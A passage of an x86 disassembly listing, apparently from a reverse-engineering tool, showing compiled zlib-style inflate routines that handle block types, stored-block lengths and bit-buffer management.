jmp loc_40AD79
; ---------------------------------------------------------------------------
loc_40ACB6: ; CODE XREF: sub_40A04E+7Ej
; DATA XREF: HSho:0040ADA1o
mov [ebp+arg_8], 0FFFFFFFDh
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_409E20
add esp, 0Ch
jmp short loc_40AD79
; ---------------------------------------------------------------------------
loc_40AD15: ; CODE XREF: sub_40A04E+75j
mov [ebp+arg_8], 0FFFFFFFEh
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_409E20
add esp, 0Ch
jmp short loc_40AD79
; ---------------------------------------------------------------------------
loc_40AD74: ; CODE XREF: sub_40A04E+186j
; sub_40A04E+2BFj ...
jmp loc_40A0B7
; ---------------------------------------------------------------------------
loc_40AD79: ; CODE XREF: sub_40A04E+228j
; sub_40A04E+3A6j ...
mov esp, ebp
pop ebp
retn
sub_40A04E endp
; ---------------------------------------------------------------------------
off_40AD7D dd offset loc_40A0D3 ; DATA XREF: sub_40A04E+7Er
dd offset loc_40A1FC
dd offset loc_40A3F9
dd offset loc_40A4FE
dd offset loc_40A6C5
dd offset loc_40A7B0
dd offset loc_40A9CC
dd offset loc_40AB6A
dd offset loc_40AC54
dd offset loc_40ACB6
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADA5 proc near ; CODE XREF: sub_40ADBE+4Ep
; sub_40AF6D+10BCp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
pop ebp
retn
sub_40ADA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADBE proc near ; CODE XREF: sub_40AE75+E9p
; sub_40C2D5+Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jz short loc_40ADD2
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_0]
mov edx, [ecx+3Ch]
mov [eax], edx
loc_40ADD2: ; CODE XREF: sub_40ADBE+7j
mov eax, [ebp+arg_0]
cmp dword ptr [eax], 4
jz short loc_40ADE2
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 5
jnz short loc_40ADF9
loc_40ADE2: ; CODE XREF: sub_40ADBE+1Aj
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
loc_40ADF9: ; CODE XREF: sub_40ADBE+22j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 6
jnz short loc_40AE14
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_40ADA5
add esp, 8
loc_40AE14: ; CODE XREF: sub_40ADBE+41j
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+1Ch], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+20h], 0
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [edx+34h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
mov [edx+30h], ecx
mov edx, [ebp+arg_0]
cmp dword ptr [edx+38h], 0
jz short loc_40AE73
push 0
push 0
push 0
mov eax, [ebp+arg_0]
call dword ptr [eax+38h]
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov [ecx+3Ch], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
mov [edx+30h], ecx
loc_40AE73: ; CODE XREF: sub_40ADBE+92j
pop ebp
retn
sub_40ADBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE75 proc near ; CODE XREF: sub_40DAB5+13Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push 40h
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40AE9E
mov eax, [ebp+var_4]
jmp loc_40AF69
; ---------------------------------------------------------------------------
loc_40AE9E: ; CODE XREF: sub_40AE75+1Fj
push 5A0h
push 8
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+20h]
add esp, 0Ch
mov ecx, [ebp+var_4]
mov [ecx+24h], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+24h], 0
jnz short loc_40AEDF
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_0]
call dword ptr [eax+24h]
add esp, 8
xor eax, eax
jmp loc_40AF69
; ---------------------------------------------------------------------------
loc_40AEDF: ; CODE XREF: sub_40AE75+4Dj
mov ecx, [ebp+arg_8]
push ecx
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_0]
call dword ptr [ecx+20h]
add esp, 0Ch
mov edx, [ebp+var_4]
mov [edx+28h], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+28h], 0
jnz short loc_40AF33
mov ecx, [ebp+var_4]
mov edx, [ecx+24h]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+24h]
add esp, 8
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_0]
call dword ptr [eax+24h]
add esp, 8
xor eax, eax
jmp short loc_40AF69
; ---------------------------------------------------------------------------
loc_40AF33: ; CODE XREF: sub_40AE75+8Dj
mov ecx, [ebp+var_4]
mov edx, [ecx+28h]
add edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov [eax+2Ch], edx
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_4]
mov [ecx+38h], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
push 0
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_40ADBE
add esp, 0Ch
mov eax, [ebp+var_4]
loc_40AF69: ; CODE XREF: sub_40AE75+24j
; sub_40AE75+65j ...
mov esp, ebp
pop ebp
retn
sub_40AE75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF6D proc near ; CODE XREF: sub_40DC35+3F3p
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [edx+4]
mov [ebp+var_1C], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_40AFBB
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_54], ecx
jmp short loc_40AFC7
; ---------------------------------------------------------------------------
loc_40AFBB: ; CODE XREF: sub_40AF6D+3Bj
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_54], eax
loc_40AFC7: ; CODE XREF: sub_40AF6D+4Cj
mov ecx, [ebp+var_54]
mov [ebp+var_18], ecx
loc_40AFCD: ; CODE XREF: sub_40AF6D:loc_40C294j
mov edx, [ebp+arg_0]
mov eax, [edx]
mov [ebp+var_58], eax
cmp [ebp+var_58], 9
ja loc_40C235
mov ecx, [ebp+var_58]
jmp off_40C29D[ecx*4]
loc_40AFE9: ; CODE XREF: sub_40AF6D+121j
; DATA XREF: HSho:off_40C29Do
cmp [ebp+var_14], 3
jnb loc_40B093
cmp [ebp+var_1C], 0
jz short loc_40B002
mov [ebp+arg_8], 0
jmp short loc_40B05D
; ---------------------------------------------------------------------------
loc_40B002: ; CODE XREF: sub_40AF6D+8Aj
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40B05D: ; CODE XREF: sub_40AF6D+93j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
add edx, 8
mov [ebp+var_14], edx
jmp loc_40AFE9
; ---------------------------------------------------------------------------
loc_40B093: ; CODE XREF: sub_40AF6D+80j
mov eax, [ebp+var_C]
and eax, 7
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
and ecx, 1
mov edx, [ebp+arg_0]
mov [edx+18h], ecx
mov eax, [ebp+var_10]
shr eax, 1
mov [ebp+var_5C], eax
cmp [ebp+var_5C], 3
ja loc_40B271
mov ecx, [ebp+var_5C]
jmp off_40C2C5[ecx*4]
loc_40B0C4: ; CODE XREF: sub_40AF6D+75j
; DATA XREF: HSho:off_40C2C5o
mov edx, [ebp+var_C]
shr edx, 3
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
sub eax, 3
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
and ecx, 7
mov [ebp+var_10], ecx
mov edx, [ebp+var_C]
mov ecx, [ebp+var_10]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
sub eax, [ebp+var_10]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 1
jmp loc_40B271
; ---------------------------------------------------------------------------
loc_40B101: ; CODE XREF: sub_40AF6D+75j
; sub_40AF6D+150j
; DATA XREF: ...
mov edx, [ebp+arg_4]
push edx
lea eax, [ebp+var_2C]
push eax
lea ecx, [ebp+var_24]
push ecx
lea edx, [ebp+var_20]
push edx
lea eax, [ebp+var_28]
push eax
call sub_40CE2B
add esp, 14h
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_28]
push edx
call sub_409FF9
add esp, 14h
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_40B1AA
mov [ebp+arg_8], 0FFFFFFFCh
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40B1AA: ; CODE XREF: sub_40AF6D+1D9j
mov eax, [ebp+var_C]
shr eax, 3
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 3
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov dword ptr [edx], 6
jmp loc_40B271
; ---------------------------------------------------------------------------
loc_40B1CA: ; CODE XREF: sub_40AF6D+75j
; sub_40AF6D+150j
; DATA XREF: ...
mov eax, [ebp+var_C]
shr eax, 3
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 3
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov dword ptr [edx], 3
jmp loc_40B271
; ---------------------------------------------------------------------------
loc_40B1EA: ; CODE XREF: sub_40AF6D+75j
; sub_40AF6D+150j
; DATA XREF: ...
mov eax, [ebp+var_C]
shr eax, 3
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 3
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov dword ptr [edx], 9
mov eax, [ebp+arg_4]
mov dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type"
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40B271: ; CODE XREF: sub_40AF6D+147j
; sub_40AF6D+18Fj ...
jmp loc_40C294
; ---------------------------------------------------------------------------
loc_40B276: ; CODE XREF: sub_40AF6D+75j
; sub_40AF6D+3ACj
; DATA XREF: ...
cmp [ebp+var_14], 20h
jnb loc_40B31E
cmp [ebp+var_1C], 0
jz short loc_40B28F
mov [ebp+arg_8], 0
jmp short loc_40B2EA
; ---------------------------------------------------------------------------
loc_40B28F: ; CODE XREF: sub_40AF6D+317j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40B2EA: ; CODE XREF: sub_40AF6D+320j
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_14]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_14]
add eax, 8
mov [ebp+var_14], eax
jmp loc_40B276
; ---------------------------------------------------------------------------
loc_40B31E: ; CODE XREF: sub_40AF6D+30Dj
mov ecx, [ebp+var_C]
not ecx
shr ecx, 10h
and ecx, 0FFFFh
mov edx, [ebp+var_C]
and edx, 0FFFFh
cmp ecx, edx
jz short loc_40B3AE
mov eax, [ebp+arg_0]
mov dword ptr [eax], 9
mov ecx, [ebp+arg_4]
mov dword ptr [ecx+18h], offset aInvalidStoredB ; "invalid stored block lengths"
mov [ebp+arg_8], 0FFFFFFFDh
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40B3AE: ; CODE XREF: sub_40AF6D+3CAj
mov edx, [ebp+var_C]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov [ebp+var_14], 0
mov ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jz short loc_40B3DC
mov [ebp+var_60], 2
jmp short loc_40B3EC
; ---------------------------------------------------------------------------
loc_40B3DC: ; CODE XREF: sub_40AF6D+464j
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
neg ecx
sbb ecx, ecx
and ecx, 7
mov [ebp+var_60], ecx
loc_40B3EC: ; CODE XREF: sub_40AF6D+46Dj
mov edx, [ebp+arg_0]
mov eax, [ebp+var_60]
mov [edx], eax
jmp loc_40C294
; ---------------------------------------------------------------------------
loc_40B3F9: ; CODE XREF: sub_40AF6D+75j
; DATA XREF: HSho:0040C2A5o
cmp [ebp+var_1C], 0
jnz short loc_40B45A
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40B45A: ; CODE XREF: sub_40AF6D+490j
cmp [ebp+var_18], 0
jnz loc_40B5C6
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+2Ch]
jnz short loc_40B4B4
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+30h]
cmp edx, [ecx+28h]
jz short loc_40B4B4
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+30h]
jnb short loc_40B4A2
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
sub edx, [ebp+var_8]
sub edx, 1
mov [ebp+var_64], edx
jmp short loc_40B4AE
; ---------------------------------------------------------------------------
loc_40B4A2: ; CODE XREF: sub_40AF6D+522j
mov eax, [ebp+arg_0]
mov ecx, [eax+2Ch]
sub ecx, [ebp+var_8]
mov [ebp+var_64], ecx
loc_40B4AE: ; CODE XREF: sub_40AF6D+533j
mov edx, [ebp+var_64]
mov [ebp+var_18], edx
loc_40B4B4: ; CODE XREF: sub_40AF6D+500j
; sub_40AF6D+50Ej
cmp [ebp+var_18], 0
jnz loc_40B5C6
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_409E20
add esp, 0Ch
mov [ebp+arg_8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_40B503
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_68], ecx
jmp short loc_40B50F
; ---------------------------------------------------------------------------
loc_40B503: ; CODE XREF: sub_40AF6D+583j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_68], eax
loc_40B50F: ; CODE XREF: sub_40AF6D+594j
mov ecx, [ebp+var_68]
mov [ebp+var_18], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+2Ch]
jnz short loc_40B565
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov eax, [ecx+30h]
cmp eax, [edx+28h]
jz short loc_40B565
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_40B553
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_6C], eax
jmp short loc_40B55F
; ---------------------------------------------------------------------------
loc_40B553: ; CODE XREF: sub_40AF6D+5D3j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_6C], edx
loc_40B55F: ; CODE XREF: sub_40AF6D+5E4j
mov eax, [ebp+var_6C]
mov [ebp+var_18], eax
loc_40B565: ; CODE XREF: sub_40AF6D+5B1j
; sub_40AF6D+5BFj
cmp [ebp+var_18], 0
jnz short loc_40B5C6
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40B5C6: ; CODE XREF: sub_40AF6D+4F1j
; sub_40AF6D+54Bj ...
mov [ebp+arg_8], 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
cmp eax, [ebp+var_1C]
jbe short loc_40B5E4
mov ecx, [ebp+var_1C]
mov [ebp+var_10], ecx
loc_40B5E4: ; CODE XREF: sub_40AF6D+66Fj
mov edx, [ebp+var_10]
cmp edx, [ebp+var_18]
jbe short loc_40B5F2
mov eax, [ebp+var_18]
mov [ebp+var_10], eax
loc_40B5F2: ; CODE XREF: sub_40AF6D+67Dj
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_8]
push eax
call sub_411634 ; memcpy
add esp, 0Ch
mov ecx, [ebp+var_4]
add ecx, [ebp+var_10]
mov [ebp+var_4], ecx
mov edx, [ebp+var_1C]
sub edx, [ebp+var_10]
mov [ebp+var_1C], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_10]
mov [ebp+var_8], eax
mov ecx, [ebp+var_18]
sub ecx, [ebp+var_10]
mov [ebp+var_18], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
sub eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jz short loc_40B647
jmp loc_40C294
; ---------------------------------------------------------------------------
loc_40B647: ; CODE XREF: sub_40AF6D+6D3j
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
neg ecx
sbb ecx, ecx
and ecx, 7
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp loc_40C294
; ---------------------------------------------------------------------------
loc_40B65E: ; CODE XREF: sub_40AF6D+75j
; sub_40AF6D+794j
; DATA XREF: ...
cmp [ebp+var_14], 0Eh
jnb loc_40B706
cmp [ebp+var_1C], 0
jz short loc_40B677
mov [ebp+arg_8], 0
jmp short loc_40B6D2
; ---------------------------------------------------------------------------
loc_40B677: ; CODE XREF: sub_40AF6D+6FFj
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40B6D2: ; CODE XREF: sub_40AF6D+708j
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
add edx, 8
mov [ebp+var_14], edx
jmp loc_40B65E
; ---------------------------------------------------------------------------
